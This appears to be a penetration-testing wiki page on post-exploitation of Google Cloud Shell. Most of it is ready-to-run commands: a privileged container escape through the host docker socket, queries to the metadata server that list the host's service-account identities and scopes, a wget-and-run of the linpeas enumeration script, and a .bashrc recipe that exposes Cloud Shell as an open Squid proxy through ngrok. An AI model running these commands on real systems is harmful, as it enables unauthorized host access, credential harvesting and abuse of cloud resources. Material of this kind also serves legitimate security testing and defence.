# GCP - Cloud Shell Post Exploitation

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## Cloud Shell

For more information about Cloud Shell check:

{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}

### Container Escape

Note that the Google Cloud Shell runs inside a container, you can **easily escape to the host** by doing:

```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
```

This is not considered a vulnerability by google, but it gives you a wider vision of what is happening in that env.

Moreover, notice that from the host you can find a service account token:

```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```

With the following scopes:

```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
```

Enumerate metadata with LinPEAS:

```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```

After using [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) with the token of the Service Account **no permission was discovered**...

### Use it as Proxy

If you want to use your google cloud shell instance as proxy you need to run the following commands (or insert them in the .bashrc file):

```bash
sudo apt install -y squid
```

Just for let you know Squid is a http proxy server. Create a **squid.conf** file with the following settings:

```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
```

copy the **squid.conf** file to **/etc/squid**

```bash
sudo cp squid.conf /etc/squid
```

Finally run the squid service:

```bash
sudo service squid start
```

Use ngrok to let the proxy be available from outside:

```bash
./ngrok tcp 3128
```

After running copy the tcp:// url. If you want to run the proxy from a browser it is suggested to remove the tcp:// part and the port and put the port in the port field of your browser proxy settings (squid is a http proxy server).

For better use at startup the .bashrc file should have the following lines:

```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
```

The instructions were copied from [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Check that page for other crazy ideas to run any kind of software (databases and even windows) in Cloud Shell.

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